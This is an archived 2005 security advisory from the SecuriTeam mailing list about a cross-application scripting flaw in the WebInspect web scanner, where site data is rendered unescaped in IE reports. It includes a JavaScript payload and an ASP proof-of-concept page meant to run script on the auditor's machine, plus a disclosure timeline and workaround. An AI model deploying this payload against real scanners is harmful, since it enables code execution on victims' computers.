

# [NT] SPIDynamics WebInspect Cross–Application Scripting (XAS)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0031.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 08/08/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 8 Aug 2005 15:34:31 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

SPIDynamics WebInspect Cross–Application Scripting (XAS)

---

## SUMMARY

SPIDynamics WebInspect is "powerful security assessment tool for Web application". SPIDynamics WebInspect has been found to be vulnerable to XAS that could lead to remote code execution.

## DETAILS

As many applications WebInspect uses external programs and Windows components for different purposes. It is very common to use COM object of Internet Explorer for render reports and displays data. WebInspect in not an exception.

When reports is generated, some parts of scanned site (for example URLs) are included into HTML file (`file://C:\Program Files\SPIDynamics\WebInspect\Working\vulnerability.htm`), which opens in IE. Because WebInspect doesn't properly normalize displayed data, part of URL or other data can be parsed by IE as DHTML, for example JavaScript, and leads to code execution on the computer where scanner is installed.

Analysis:

## Securiteam: [NT] SPIDynamics WebInspect Cross–Application Scripting (XAS)

Successful exploitation allows remote attackers to execute arbitrary script code on the host, where scanner is installed with privileges of user who launch the scanner. Victim should scan site and openreport.

Typically scanner runs on administrator's or security auditor's box with a lot of interesting data. It possibly runs under high–privileged account.

Attacker should create specially crafted site with vulnerability to be displayed in report. "Vulnerable" URL should include script code. Example of such report is a "Hidden Form Value Vulnerability ID: 4727".

By default script is executed in Internet Security Zone of IE (not sure). But with little effort attacker can use predictable resource location to bypass restrictions of Internet Zone and execute script in "My Computer" security zone.

Example:

```
<script>window.open('file://C:\\Program  
Files\\SPIDynamics\\WebInspect\\Working\\vulnerability.htm')</script>
```

Attacker can use social engineering to install full featured application, for example new version of "SPIDynamics Reported ActiveX".

Proof of Concept:

Following ASP file can be used to reproduce vulnerability:

```
<*****iisstart.asp*****>
```

```
< HTML>< HEAD>< BODY>
```

```
<%
```

```
if request.querystring<>"" then
```

```
response.write request.querystring
```

```
end if
```

```
%>
```

```
< form action="script"><script>window.open(%27file://C:\\Program
```

```
Files\\SPIDynamics\\WebInspect\\Working\\vulnerability.htm%27)</script>"
```

```
method=get> Please login:< br>
```

```
< input type=submit value="Login"><br> < input type=hidden name='hidden'
```

```
value="Login">< br> </form>
```

```
< /BODY>< /HTML>
```

```
</*****iisstart.asp*****>
```

You should change default error page to iisstart.asp.

Disclosure Timeline:

04/15/2005 – Initial vendor notification

04/15/2005 – Initial vendor response

Workaround:

Disable Active Scripting in My Computer Zone:

<<http://support.microsoft.com/default.aspx?scid=kb:en:833633>>

Securiteam: [NT] SPIDynamics WebInspect Cross–Application Scripting (XAS)

<http://support.microsoft.com/default.aspx?scid=kb:en:833633>.

ADDITIONAL INFORMATION

The information has been provided by <mailto:QQLan@yandex.ru> QQLan.

The original article can be found at:

<<http://www.security.nnov.ru/articles/xas/>>

<http://www.security.nnov.ru/articles/xas/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.